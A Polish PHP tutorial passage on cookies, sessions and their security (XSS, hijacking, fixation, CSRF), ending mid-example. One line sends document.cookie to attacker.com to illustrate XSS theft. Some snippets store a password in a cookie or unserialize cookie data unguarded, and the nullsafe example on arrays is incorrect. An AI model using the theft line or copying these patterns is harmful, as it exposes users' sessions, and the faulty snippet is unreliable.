14. PHP – obsługa cookies i sesje


Cookies i Sesje to mechanizmy, które pozwalają „zapamiętać” użytkownika między kolejnymi żądaniami HTTP.

Typowe zastosowania: Logowanie – zapamiętanie, że jesteś zalogowany Koszyk zakupowy – przechowanie wybranych produktów Preferencje – język interfejsu, motyw jasny/ciemny Analityka – śledzenie zachowań użytkowników Personalizacja – dostosowanie treści do użytkownika Formularze wieloetapowe – przechowanie danych między krokami

Ciasteczka – Cookies

Ciasteczka – Cookies, to krótkie informacje tekstowe, wysyłane przez stronę internetową, które za pośrednictwem przeglądarki zapisywane są na komputerze użytkownika. Ciasteczka wykorzystywane są do zapamiętywania dowolnych danych, które można zakodować w postaci ciągu znaków, dzięki czemu użytkownik nie musi wpisywać tych samych danych za każdym razem, gdy odwiedzi daną stronę WWW  np. login użytkownika, zawartość koszyka, nasze preferencje, ankieta którą już wypełnialiśmy, czy preferowany język na stronie itp.

Gdy posiadamy formularz rejestracji wszystkie dane możemy przechowywać w bazie, ale dzięki ciastkom możemy ominąć ten proces. Wystarczy, że użytkownik raz coś wybierze i jego preferencje zostaną zapisane, do momentu ich zmiany lub usunięcia. Oczywiście należy mieć na uwadze, ze użytkownik wyłączy zapisywanie ciasteczek.

Ciasteczka identyfikują dane komputera i przeglądarki, która korzysta ze strony WWW. W żaden sposób nie są szkodliwe dla naszego sprzętu, nie zmieniają ustawień konfiguracyjnych.

Ciasteczka mogą być odczytane tylko z poziomu domeny, z której pochodzą.

Podsumowując:
– Ciasteczka identyfikują dane komputera i przeglądarki, nie osoby
– Nie są szkodliwe dla sprzętu – to zwykłe pliki tekstowe
– Nie zmieniają ustawień konfiguracyjnych systemu
– Mogą być odczytane tylko z poziomu domeny, z której pochodzą
– Użytkownik może je wyłączyć lub usunąć w ustawieniach przeglądarki

Podstawowe rodzaje ciasteczek

Session Cookies

„Cookies” sesyjne – są to tymczasowe informacje przechowywane w pamięci przeglądarki do momentu zakończenia sesji przeglądarki, czyli do momentu jej zamknięcia.

<?php
// Cookie sesyjne - usuwa się po zamknięciu przeglądarki
setcookie('session_id', 'abc123');
// lub
setcookie('session_id', 'abc123', 0);

Zastosowanie: Tymczasowe dane, które nie muszą być zapamiętane na stałe.

Persistent/Tracking Cookies

„Cookies” stałe, nazywane również „śledzące„cookie” (ang. tracking cookies) – pozostają w pamięci przeglądarki przez dłuższy okres. Czas ten zależy od wyboru, którego można dokonać w ustawieniach przeglądarki. Ten rodzaj cookies zezwala na przekazywanie informacji na serwer za każdym razem, gdy odwiedzana jest dana strona.

<?php
// Cookie ważne przez 7 dni
setcookie('user_preferences', 'dark_mode', time() + (7 * 24 * 60 * 60));

// Cookie ważne przez 30 dni
setcookie('language', 'pl', time() + (30 * 24 * 60 * 60));

// Cookie ważne przez rok
setcookie('remember_me', 'yes', time() + (365 * 24 * 60 * 60));

Zastosowanie: Zapamiętanie preferencji, funkcja „Zapamiętaj mnie”.

Third-party Cookies

„Cookies” podmiotów zewnętrznych – (ang. third parties cookies) – to informacje pochodzące np. z serwerów reklamowych, serwerów firm i dostawców usług (np. wyszukiwania albo map umieszczanych na stronie) współpracujących z właścicielem danej strony internetowej. Ten rodzaj cookie pozwala dostosowywać np. reklamy do preferencji i zwyczajów ich użytkowników.

Przykład: Oglądasz buty w sklepie A, potem widzisz reklamy tych butów na stronie B – to działanie third-party cookies.

Tworzenie ciasteczek

<?php
setcookie(
    string $name,              // Nazwa ciasteczka
    string $value = "",        // Wartość (domyślnie pusta)
    int $expires_or_options,   // Czas wygaśnięcia lub tablica opcji (PHP 7.3+)
    string $path = "",         // Ścieżka (domyślnie: /)
    string $domain = "",       // Domena
    bool $secure = false,      // Tylko HTTPS?
    bool $httponly = false     // Niedostępne dla JavaScript?
);

Ciasteczka są wymieniane przy przesyłaniu nagłówków HTTP, zanim strona WWW zostanie załadowana, po załadowaniu strony wysłanie ciasteczka jest niemożliwe. Należy zatem umiejętnie zaplanować wysyłanie ciasteczek. Kod wysyłający ciasteczko musi znajdować się jako pierwszy, zanim jakakolwiek informacja zostanie przesłana.

<?php
// DOBRZE - setcookie() przed jakimkolwiek outputem
setcookie('username', 'Jan', time() + 3600);
?>
<!DOCTYPE html>
<html>
...

<?php
// ŹLE - po HTML już nie zadziała!
?>
<!DOCTYPE html>
<html>
<?php
setcookie('username', 'Jan', time() + 3600); // Błąd: "Headers already sent"

Wyślemy ciasteczko o nazwie „login” i wartości „JohnSmith” oraz „pass” o wartości „admin”. Ustawimy żywotność ciasteczka na 60 sekund. Do ustawienia ciasteczka wykorzystujemy funkcję setcookie($nazwa, $wartosc, $czas), która posiada wiele argumentów, ale najczęściej wykorzystuje się 3 pierwsze (więcej informacji o setcookie() na stronie dokumentacji)

<?php
// utworzenie ciasteczek
setcookie("login", "JohnSmith", time()+60);
setcookie("pass", "admin", time()+60);
?>

Ciasteczka jako tablice

Jeśli chcesz przypisać wiele wartości do jednego ciasteczka, możesz po prostu złączyć je w tablicę. Na przykład:

<?php
setcookie("logowanie[login]", "JohnSmith", time()+60);
setcookie("logowanie[pass]", "admin", time()+60);

// To utworzy dwa osobne ciasteczka, ale w PHP będą dostępne jako tablica:
// $_COOKIE['logowanie']['login']
// $_COOKIE['logowanie']['pass']

// Sposób 2: Jedno ciasteczko z serializowaną tablicą
$dane = [
'login' => 'JohnSmith',
'pass' => 'admin',
'role' => 'admin'
];

// Opcja A: JSON (zalecane - czytelne i uniwersalne)
setcookie("user_data", json_encode($dane), time() + 3600);

// Odczyt JSON:
if (isset($_COOKIE['user_data'])) {
$userData = json_decode($_COOKIE['user_data'], true);
echo $userData['login']; // JohnSmith
}

// Opcja B: serialize() (tylko PHP)
setcookie("user_data", serialize($dane), time() + 3600);

// Odczyt serialize:
if (isset($_COOKIE['user_data'])) {
$userData = unserialize($_COOKIE['user_data']);
echo $userData['login'];
}
?>

Spowoduje to stworzenie dwóch oddzielnych ciasteczek, mimo, iż „logowanie” będzie teraz pojedynczą tablicą w twoim skrypcie. Jeśli chcesz ustawić tylko jedno ciasteczko z wieloma wartościami, rozważ możliwość użycia przedtem funkcji serialize() lub explode() na wartości.

Licznik w ciasteczkach

Możesz pominąć trzeci parametr (expires) – ciasteczko będzie ważne do zamknięcia przeglądarki (przyjmie wartość 0).

Jeżeli nazwy ciasteczek są takie same, ich wartości zostaną nadpisane (o ile ścieżka lub domena nie są różne).

Przykład: Licznik wizyt w koszyku zakupów

<?php
// Sprawdź czy licznik istnieje
if (isset($_COOKIE['ile'])) {
$ile = $_COOKIE['ile'] + 1; // Zwiększ
} else {
$ile = 1; // Pierwsza wizyta
}

// Zapisz nową wartość (ważność: 1 godzina)
setcookie('ile', $ile, time() + 3600);

echo "Liczba produktów w koszyku: $ile";

Więcej przykładów

<?php
// 1. Ciasteczko na 1 godzinę
setcookie("user_id", "12345", time() + 3600);

// 2. Ciasteczko na 30 dni
setcookie("theme", "dark", time() + (30 * 24 * 60 * 60));

// 3. Ciasteczko sesyjne (do zamknięcia przeglądarki)
setcookie("temp_data", "wartość");
// lub jawnie:
setcookie("temp_data", "wartość", 0);

// 4. Ciasteczko z pełnymi opcjami bezpieczeństwa
setcookie(
    "secure_token",
    "abc123xyz",
    time() + 3600,
    "/",           // Dostępne na całej stronie
    "",            // Dla bieżącej domeny
    true,          // Tylko przez HTTPS
    true           // Niedostępne dla JavaScript (ochrona przed XSS)
);

Odczytywanie ciasteczek

Tworzone ciasteczka są automatycznie zapisywane w tablicy superglobalnej $_COOKIE (analogicznie do poznanych już tablic $_POST i $_GET), którą możemy przeglądać i operować danymi w niej zapisanymi.

<?php
// Sprawdź czy ciasteczko istnieje
if (isset($_COOKIE['login']) && isset($_COOKIE['pass'])) {
echo "Dane logowania kompletne";
echo "Login: " . $_COOKIE['login'];
} else {
echo "Brak ciasteczka z danymi logowania";
}

// Odczyt z wartością domyślną (PHP 7+)
$username = $_COOKIE['username'] ?? 'Gość';

// Bezpieczny odczyt (z walidacją)
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

Możemy wyświetlić całą tablicę przy pomocy funkcji print_r:

<?php
echo '<pre>';
print_r($_COOKIE);
echo '</pre>';

/*
Array
(
[login] => JohnSmith
[pass] => admin
[theme] => dark
[PHPSESSID] => abc123def456
)
*/

Usuwanie ciastek

Aby usunąć ciasteczko, należy ustawić dla niego ujemną wartość czasową (czas w przeszłości). Zamiast dodawać do funkcji time() czas przez jaki ma być ważne, po prostu go odejmujemy.

<?php
// Sposób 1: Odejmij czas
setcookie('uzytkownik', "Ala", time() - 3600);

// Sposób 2: Ustaw na 1 (1 stycznia 1970)
setcookie('uzytkownik', '', 1);

// Sposób 3: Pusta wartość i czas w przeszłości
setcookie('uzytkownik', '', time() - 3600);

 Powyższy kod usunie ciastko uzytkownik utworzone w ostatniej godzinie.

Usuń wszystkie ciasteczka:

<?php
foreach ($_COOKIE as $name => $value) {
    setcookie($name, '', time() - 3600, '/');
}

Uwaga: Musisz podać te same parametry (path, domain) co przy tworzeniu, aby poprawnie usunąć cookie.

Przykład: Powitanie użytkownika

W oparciu o mechanizm ciasteczek skrypt wypisuje na stronie komunikaty:

‒ Gdy odwiedzający wejdzie na stronę pierwszy raz zakładane jest ciasteczko z czasem trwania 2 godziny od utworzenia oraz wyświetlany jest w paragrafie, czcionką pogrubioną, komunikat: „Dzień dobry! Strona lotniska używa ciasteczek”

‒ Jeżeli odwiedzający w ciągu 2 godzin od poprzedniego wejścia wejdzie ponownie na stronę wyświetlany jest w paragrafie, czcionką pochyloną, komunikat „Witaj ponownie na stronie lotniska”

<?php
// Sprawdź czy użytkownik był już na stronie
if (isset($_COOKIE['start'])) {
$msg = "<p><i>Witaj ponownie na stronie lotniska</i></p>";
} else {
// Pierwsza wizyta - utwórz cookie na 2 godziny
setcookie('start', 'start', time() + 2 * 60 * 60);
$msg = "<p><b>Dzień dobry! Strona lotniska używa ciasteczek</b></p>";
}
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Lotnisko</title>
</head>
<body>
<?= $msg ?>

<h1>Witamy na stronie lotniska</h1>
<p>Tutaj znajduje się główna treść strony...</p>
</body>
</html>

Sesje – Session

Sesje lub inaczej kontrola sesji pozwala na zapamiętanie użytkownika, jego preferencji i upoważnień na stronie np. w przypadku korzystania z koszyka zakupów, mechanizmu logowania itp. Przechodzenie pomiędzy stronami nie skutkuje wówczas koniecznością ponownego logowania się na stronie.

Typowe zastosowania:

  • Systemy logowania
  • Koszyki zakupowe
  • Wieloetapowe formularze
  • Gry (zapamiętanie punktów, postępu)
  • Panele administracyjne

Jak działają sesje?

Sesja tworzona jest w postaci unikalnego identyfikatora tzw. SID (Session ID). Taki identyfikator przechowywany jest w pliku cookie po stronie klienta (nazwa: PHPSESSID) lub przekazywany za pomocą adresu URL.

Zmienne przechowywane są po stronie serwera (w plikach lub bazie danych), a użytkownik ma tylko id sesji.

Wszelkie dane jakie chcemy przekazywać pomiędzy stronami zostają zapisane w tablicy superglobalnej $_SESSION.

Krok po kroku:

1. Użytkownik wchodzi na stronę
   └─ session_start()
      └─ PHP generuje SID: "abc123def456..."
         └─ Cookie PHPSESSID = "abc123def456"
            └─ Plik na serwerze: sess_abc123def456
               (zawiera dane $_SESSION)

2. Użytkownik przechodzi na inną stronę
   └─ session_start()
      └─ PHP odczytuje SID z cookie
         └─ Wczytuje dane z pliku sess_abc123def456
            └─ $_SESSION zawiera wszystkie dane

 

Etapy tworzenia sesji

  1. Rozpoczynanie sesji
  2. Tworzenie zmiennych sesyjnych
  3. Praca na zmiennych sesyjnych
  4. Usuwanie zmiennych i niszczenie sesji

 

Rozpoczynanie sesji

Aby rozpocząć sesję lub móc korzystać z danych z istniejącej sesji, na początku każdego skryptu należy wywołać funkcję:

<?php
session_start();

Co robi session_start():

  • Jeżeli SID sesji nie istnieje, zostanie on utworzony
  • Jeżeli SID istnieje, funkcja pobierze wartości wszystkich zmiennych obecnej sesji

Kluczowa zasada: session_start() musi być pierwszą instrukcją w pliku (przed HTML, echo, spacjami).

<?php
session_start();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

// Na początku tablica będzie pusta:
// Array ( )

// Zobaczymy, że tablica superglobalna SESSION zaistniała

Tworzenie zmiennych sesyjnych

Zmienną sesyjną tworzymy wpisując do tablicy $_SESSION kolejny element np.

$_SESSION[’zm_sesyjna_1′]=”Ja”;

<?php
session_start();

// Utwórz zmienne sesyjne
$_SESSION['zm_sesyjna_1'] = "Ja"; // tworzymy zmienną sesyjną
$_SESSION['user_id'] = 123;
$_SESSION['username'] = "Jan Kowalski";
$_SESSION['is_logged_in'] = true;
$_SESSION['login_time'] = time();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

/*
Array (
[zm_sesyjna_1] => Ja
[user_id] => 123
[username] => Jan Kowalski
[is_logged_in] => 1
[login_time] => 1735689234
)
*/

Jak długo żyją zmienne sesyjne?

Tak zadeklarowana zmienna będzie pamiętana tak długo, jak jest to ustawione w pliku php.ini (tą wartość można zmieniać ręcznie w pliku):

; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
; http://php.net/session.gc-maxlifetime
session.gc_maxlifetime=1440

lub dopóki nie zostanie usunięta ręcznie (jak to zrobić opisałam niżej).

Praca na zmiennych sesyjnych

Zmienne sesyjne stosujemy jak wcześniej omawiane zmienne tablicowe.

Zanim rozpoczniemy używanie zmiennych należy sprawdzić, czy istnieją te zmienne:

<?php
session_start();

// Przypisz zmienną sesyjną do innej zmiennej - tak też można
$zm_s_1 = $_SESSION['zm_sesyjna_1'] = "Ja";

// Sprawdź czy zmienna istnieje
if (isset($zm_s_1)) {
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
} else {
echo "Nie ma zmiennych sesyjnych";
}

// Odczyt z wartością domyślną
$username = $_SESSION['username'] ?? 'Gość';

// Modyfikacja
if (isset($_SESSION['counter'])) {
$_SESSION['counter']++;
} else {
$_SESSION['counter'] = 1;
}

// Dodawanie do tablicy sesyjnej
$_SESSION['cart'][] = ['product_id' => 5, 'name' => 'Laptop'];

Usuwanie zmiennych i niszczenie sesji

W celu usunięcia zmiennej sesyjnej stosujemy:

<?php
session_start();

// Usuń pojedynczą zmienną
unset($_SESSION['zm_sesyjna_1']);

// lub
unset($zm_s_1);

Gdy chcemy usunąć wszystkie zmienne na raz:

<?php
session_start();

// Nadpisz istniejącą tablicę nową pustą tablicą
$_SESSION = array();
// lub krócej:
$_SESSION = [];

Jeżeli sesja nie jest już potrzebna, np. klient wyloguje się z aplikacji, możemy zniszczyć sesję:

<?php
session_start();

// 1. Usuń wszystkie zmienne
$_SESSION = [];

// 2. Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// 3. Zniszcz sesję na serwerze
session_destroy();

Ważna uwaga o tworzeniu sesji

Podczas pracy z sesjami należy pamiętać, że rekord sesji nie jest tworzony, dopóki zmienna nie zostanie zarejestrowana przy użyciu funkcji session_register() (przestarzałe w nowszych wersjach PHP) lub przez dodanie nowego klucza do tablicy superglobalnej $_SESSION.

Dzieje się tak niezależnie od tego, czy sesja została uruchomiona przy użyciu funkcji session_start().

Przykład:

<?php
session_start();  // Rozpoczęto sesję, ale...

// ... plik sesji na serwerze NIE ZOSTANIE utworzony dopóki nie zapiszesz czegoś:
$_SESSION['cokolwiek'] = 'wartość';  // TERAZ plik sesji się utworzy

Cookies vs Sesje 

 

AspektCookiesSesje
Miejsce przechowywaniaKlient (przeglądarka)Serwer (pliki/baza)
Pojemnośćokoło 4 KBokoło 128 MB (konfigurowalny)
Bezpieczeństwo danychNiskie – widoczne dla użytkownikaWysokie – niewidoczne
Dostęp przez JavaScriptTak (chyba że httponly=true)Nie (tylko PHP)
Czas życiaDo wygaśnięcia lub usunięciaDo zamknięcia przeglądarki lub timeout
WymaganiaUżytkownik musi mieć włączoneWymaga session_start()
Użytkownik możeWyłączyć, zobaczyć, edytować, usunąćTylko pośrednio (usunąć cookie z SID)
SzybkośćSzybkie (lokalne)Wolniejsze (I/O serwera)
Obciążenie serweraBrakŚrednie
ZastosowaniaPreferencje, tracking, „Zapamiętaj mnie”Logowanie, koszyk, dane wrażliwe

Kiedy używać Cookies?

Preferencje użytkownika – język, motyw, rozmiar czcionki
„Nie pokazuj więcej” – zamknięte bannery, popupy
Tracking i analityka – Google Analytics, statystyki
„Zapamiętaj mnie” – automatyczne logowanie po 30 dniach
Dane nielokalne – muszą być dostępne między sesjami

Kiedy używać Sesji?

Logowanie użytkowników – ID, rola, uprawnienia
Koszyki zakupowe – produkty, ilości, ceny
Wieloetapowe formularze – dane między krokami
Dane wrażliwe – nie mogą być widoczne dla użytkownika
Dane tymczasowe – potrzebne tylko podczas przeglądania
Panele administracyjne – uprawnienia, filtry, ustawienia

Połączenie Cookies i Sesji

<?php
session_start();

// Sesja - dla danych wrażliwych (ID, uprawnienia)
$_SESSION['user_id'] = 123;
$_SESSION['role'] = 'admin';

// Cookie - dla preferencji (język, motyw)
setcookie('language', 'pl', time() + (365 * 24 * 60 * 60));
setcookie('theme', 'dark', time() + (365 * 24 * 60 * 60));

// Cookie - dla "Zapamiętaj mnie"
if (isset($_POST['remember_me'])) {
    $token = bin2hex(random_bytes(32));
    setcookie('remember_token', $token, time() + (30 * 24 * 60 * 60), '/', '', true, true);
    
    // Zapisz token w bazie danych powiązany z user_id
    // saveRememberToken($_SESSION['user_id'], $token);
}

Bezpieczeństwo

1. Zabezpieczanie Cookies

Problem: XSS (Cross-Site Scripting)

Jeśli cookie jest dostępne dla JavaScript, atakujący może je ukraść:

// Złośliwy kod JS:
document.location = 'https://attacker.com/steal.php?cookie=' + document.cookie;

Rozwiązanie: httponly flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

Problem: Man-in-the-Middle (przechwycenie przy HTTP)

Cookie może zostać przechwycone podczas transmisji przez niezabezpieczone połączenie.

Rozwiązanie: secure flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

PHP 7.3+ – tablica opcji:

<?php
setcookie('token', $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'  // Ochrona przed CSRF
]);

SameSite opcje:

  • Strict – cookie nigdy nie jest wysyłane między stronami
  • Lax – cookie wysyłane tylko przy „bezpiecznych” żądaniach (GET)
  • None – cookie zawsze wysyłane (wymaga secure=true)

2. Session Hijacking – kradzież sesji

Problem:

Atakujący kradnie SID (np. przez XSS lub przechwycenie) i podszywa się pod użytkownika.

Rozwiązanie:

 

<?php
session_start();

// 1. Regeneruj ID sesji po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Stary SID zostanie usunięty
    $_SESSION['user_id'] = $userId;
}

// 2. Przechowuj i sprawdzaj IP oraz User Agent
if (!isset($_SESSION['user_ip'])) {
    $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} else {
    // Sprawdź czy IP i User Agent się zgadzają
    if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
        $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // Podejrzana aktywność - wyloguj
        session_destroy();
        die('Sesja została zakończona ze względów bezpieczeństwa');
    }
}

// 3. Przechowuj czas ostatniej aktywności (timeout)
$timeout = 1800; // 30 minut

if (isset($_SESSION['last_activity'])) {
    if (time() - $_SESSION['last_activity'] > $timeout) {
        session_destroy();
        header('Location: login.php?timeout=1');
        exit;
    }
}

$_SESSION['last_activity'] = time();

3. Session Fixation

Problem:

Atakujący ustawia znany mu SID przed logowaniem użytkownika, dzięki czemu po zalogowaniu ma dostęp do sesji.

Rozwiązanie:

 

<?php
session_start();

// ZAWSZE regeneruj ID po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Ważne: true = usuń stary plik sesji
    $_SESSION['user_id'] = $userId;
    $_SESSION['logged_in'] = true;
}

4. CSRF (Cross-Site Request Forgery)

Problem:

Atakujący zmusza przeglądarkę użytkownika do wykonania niepożądanego żądania.

Rozwiązanie: Token CSRF

 

<?php
session_start();

// Generuj token przy wyświetlaniu formularza
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>

<!-- W formularzu -->
<form method="POST">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <!-- ... reszta pól ... -->
</form>

<?php
// Sprawdź token przy odbiorze
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || 
        !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Przetwórz formularz...
}

Funkcja hash_equals() zapobiega timing attacks.

5. Nigdy nie ufaj danym z Cookies

<?php
// BARDZO ŹLE - SQL Injection!
$userId = $_COOKIE['user_id'];
$query = "SELECT * FROM users WHERE id = $userId";

// ŹLE - brak walidacji
$role = $_COOKIE['role'];
if ($role === 'admin') {
    // Daj dostęp do panelu admina
}

// DOBRZE - walidacja + prepared statements
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

if ($userId) {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$userId]);
    $user = $stmt->fetch();
    
    // Sprawdź rolę z bazy, nie z cookie!
    if ($user && $user['role'] === 'admin') {
        // Daj dostęp
    }
}

PHP 8 – nowości

1. Named arguments w setcookie()

<?php
// PHP 7 i wcześniej - musiałeś podać wszystkie parametry
setcookie('token', $value, time() + 3600, '/', '', true, true);

// PHP 8 - named arguments
setcookie(
    name: 'token',
    value: $value,
    expires_or_options: time() + 3600,
    httponly: true,
    secure: true
);

// Możesz pominąć środkowe parametry
setcookie(
    name: 'theme',
    value: 'dark',
    expires_or_options: time() + (365 * 24 * 60 * 60),
    httponly: true  // Pominęliśmy path, domain, secure
);

2. Match expression (zamiast switch)

<?php
session_start();

// PHP 7 - switch
$role = $_SESSION['role'] ?? 'guest';

switch ($role) {
    case 'admin':
        $permissions = ['read', 'write', 'delete'];
        break;
    case 'editor':
        $permissions = ['read', 'write'];
        break;
    case 'user':
        $permissions = ['read'];
        break;
    default:
        $permissions = [];
}

// PHP 8 - match (zwięzłe i bezpieczniejsze)
$permissions = match($_SESSION['role'] ?? 'guest') {
    'admin' => ['read', 'write', 'delete'],
    'editor' => ['read', 'write'],
    'user' => ['read'],
    default => []
};

3. Nullsafe operator

<?php
session_start();

// PHP 7 - sprawdzanie zagnieżdżonych danych
$city = null;
if (isset($_SESSION['user']) && 
    isset($_SESSION['user']['address']) && 
    isset($_SESSION['user']['address']['city'])) {
    $city = $_SESSION['user']['address']['city'];
}

// PHP 8 - nullsafe operator
$city = $_SESSION['user']?->address?->city ?? 'Nieznane';

4. Union types

<?php
// PHP 8 - funkcja może zwrócić string lub null
function getUserName(): string|null {
    session_start();
    return $_SESSION['username'] ?? null;
}

// Użycie
$name = getUserName() ?? 'Gość';

5. Constructor property promotion

<?php
// PHP 7
class SessionManager {
    private int $timeout;
    private string $savePath;
    
    public function __construct(int $timeout, string $savePath) {
        $this->timeout = $timeout;
        $this->savePath = $savePath;
    }
}

// PHP 8 - zwięźle
class SessionManager {
    public function __construct(
        private int $timeout,
        private string $savePath
    ) {}
}

// Użycie
$manager = new SessionManager(1800, '/tmp/sessions');

Przykłady praktyczne

1. Prosty system logowania

login.php:

<?php
session_start();

// Jeśli już zalogowany, przekieruj
if (isset($_SESSION['user_id'])) {
    header('Location: dashboard.php');
    exit;
}

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    // Przykładowa walidacja (w prawdziwej aplikacji: baza danych + hash)
    if ($username === 'admin' && $password === 'password123') {
        // Regeneruj ID sesji (ochrona przed session fixation)
        session_regenerate_id(true);
        
        // Zaloguj użytkownika
        $_SESSION['user_id'] = 1;
        $_SESSION['username'] = $username;
        $_SESSION['login_time'] = time();
        $_SESSION['is_admin'] = true;
        
        // Zapamiętaj IP i User Agent (ochrona przed hijacking)
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header('Location: dashboard.php');
        exit;
    } else {
        $error = 'Nieprawidłowy login lub hasło';
    }
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie</title>
    <style>
        body { font-family: Arial; max-width: 400px; margin: 50px auto; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; width: 100%; }
        .error { color: red; padding: 10px; background: #fee; border: 1px solid red; margin-bottom: 15px; }
    </style>
</head>
<body>
    <h1>Logowanie</h1>
    
    <?php if ($error): ?>
        <div class="error"><?= htmlspecialchars($error) ?></div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="text" name="username" placeholder="Login" required>
        <input type="password" name="password" placeholder="Hasło" required>
        <button type="submit">Zaloguj</button>
    </form>
    
    <p><small>Dane testowe: admin / password123</small></p>
</body>
</html>

dashboard.php:

<?php
session_start();

// Sprawdź czy użytkownik jest zalogowany
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit;
}

// Sprawdź timeout (30 minut bezczynności)
$timeout = 1800;
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $timeout) {
    session_destroy();
    header('Location: login.php?timeout=1');
    exit;
}
$_SESSION['last_activity'] = time();

// Sprawdź IP i User Agent (ochrona przed hijacking)
if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
    $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    session_destroy();
    die('Sesja została zakończona ze względów bezpieczeństwa');
}

$username = $_SESSION['username'];
$loginTime = date('Y-m-d H:i:s', $_SESSION['login_time']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Panel użytkownika</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        .user-info { background: #e7f3ff; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
        a { display: inline-block; padding: 10px 20px; background: #dc3545; color: white; 
            text-decoration: none; border-radius: 5px; }
    </style>
</head>
<body>
    <h1>Panel użytkownika</h1>
    
    <div class="user-info">
        <p>Zalogowany jako: <strong><?= htmlspecialchars($username) ?></strong></p>
        <p>Czas logowania: <?= $loginTime ?></p>
        <p>ID sesji: <?= session_id() ?></p>
    </div>
    
    <p><a href="logout.php">Wyloguj się</a></p>
</body>
</html>

logout.php:

<?php
session_start();

// Wyloguj użytkownika
$_SESSION = [];

// Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

header('Location: login.php');
exit;

2. Koszyk zakupowy

<?php
session_start();

// Inicjalizuj koszyk jeśli nie istnieje
if (!isset($_SESSION['cart'])) {
    $_SESSION['cart'] = [];
}

// Dodaj produkt
if (isset($_POST['add_to_cart'])) {
    $product = [
        'id' => $_POST['product_id'],
        'name' => $_POST['product_name'],
        'price' => (float)$_POST['product_price'],
        'quantity' => 1
    ];
    
    // Sprawdź czy produkt już jest w koszyku
    $found = false;
    foreach ($_SESSION['cart'] as &$item) {
        if ($item['id'] === $product['id']) {
            $item['quantity']++;
            $found = true;
            break;
        }
    }
    
    if (!$found) {
        $_SESSION['cart'][] = $product;
    }
}

// Usuń produkt
if (isset($_POST['remove_from_cart'])) {
    $removeId = $_POST['product_id'];
    $_SESSION['cart'] = array_filter($_SESSION['cart'], fn($item) => $item['id'] !== $removeId);
    $_SESSION['cart'] = array_values($_SESSION['cart']); // Prze-indeksuj tablicę
}

// Oblicz sumę
$total = 0;
foreach ($_SESSION['cart'] as $item) {
    $total += $item['price'] * $item['quantity'];
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Koszyk</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        .total { font-size: 20px; font-weight: bold; margin-top: 20px; text-align: right; }
        button { padding: 5px 10px; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Koszyk zakupowy</h1>
    
    <?php if (empty($_SESSION['cart'])): ?>
        <p>Koszyk jest pusty</p>
    <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Produkt</th>
                    <th>Cena</th>
                    <th>Ilość</th>
                    <th>Wartość</th>
                    <th>Akcja</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($_SESSION['cart'] as $item): ?>
                    <tr>
                        <td><?= htmlspecialchars($item['name']) ?></td>
                        <td><?= number_format($item['price'], 2) ?> zł</td>
                        <td><?= $item['quantity'] ?></td>
                        <td><?= number_format($item['price'] * $item['quantity'], 2) ?> zł</td>
                        <td>
                            <form method="POST" style="display: inline;">
                                <input type="hidden" name="product_id" value="<?= $item['id'] ?>">
                                <button type="submit" name="remove_from_cart">Usuń</button>
                            </form>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
        
        <div class="total">
